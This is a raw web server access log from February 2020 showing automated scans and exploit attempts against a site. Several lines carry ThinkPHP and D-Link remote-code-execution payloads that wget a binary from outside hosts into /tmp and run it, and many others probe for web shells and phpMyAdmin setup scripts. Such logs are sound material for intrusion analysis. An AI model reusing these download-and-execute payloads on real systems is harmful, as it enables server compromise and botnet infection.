217.219.159.39 - - [07/Feb/2020:15:07:45 +0100] "POST /diff.php HTTP/1.1\r\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 400 329 "-" "Unstable/2.0"
3.218.61.19 - - [07/Feb/2020:15:08:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.158.228.181 - - [07/Feb/2020:15:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
85.110.95.53 - - [07/Feb/2020:15:10:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:15:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:15:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.167.149 - - [07/Feb/2020:15:12:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:15:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.150.36 - - [07/Feb/2020:15:13:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
119.29.150.36 - - [07/Feb/2020:15:13:30 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
119.29.150.36 - - [07/Feb/2020:15:13:30 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:15:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
169.239.123.149 - - [07/Feb/2020:15:13:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
119.29.150.36 - - [07/Feb/2020:15:13:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
119.29.150.36 - - [07/Feb/2020:15:13:55 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
119.29.150.36 - - [07/Feb/2020:15:13:55 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
119.29.150.36 - - [07/Feb/2020:15:13:55 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0"
119.29.150.36 - - [07/Feb/2020:15:13:56 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
119.29.150.36 - - [07/Feb/2020:15:14:19 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:15:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.150.36 - - [07/Feb/2020:15:14:42 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
119.29.150.36 - - [07/Feb/2020:15:15:07 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
119.29.150.36 - - [07/Feb/2020:15:15:31 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:15:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.150.36 - - [07/Feb/2020:15:15:55 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
119.29.150.36 - - [07/Feb/2020:15:16:17 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:15:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.150.36 - - [07/Feb/2020:15:16:45 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:46 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:49 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:50 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:50 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:50 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:53 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:53 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:54 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:54 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:57 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:58 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:58 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:58 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:16:58 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:01 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:02 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:03 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:05 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:06 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:06 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:06 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:09 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:10 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:10 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:10 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:12 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:13 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:14 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:14 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:14 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:15 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:17 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:17 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:18 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:18 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:19 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:21 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:22 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:22 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:25 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:26 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:26 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:26 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:27 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:29 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:30 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:30 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:30 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:31 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:33 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:33 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:35 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
212.91.246.72 - - [07/Feb/2020:15:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.29.150.36 - - [07/Feb/2020:15:17:37 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:38 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:38 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:39 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:40 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:40 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:40 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:41 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:41 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:42 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:44 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:44 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:45 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:46 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:46 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:47 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:47 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:47 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:48 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:48 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:49 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:49 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:50 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:50 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:50 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:51 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:52 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:55 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:55 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:55 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:56 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:56 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:56 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:57 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:57 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:57 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:57 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:58 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:58 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:58 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:58 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:59 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:59 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
119.29.150.36 - - [07/Feb/2020:15:17:59 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
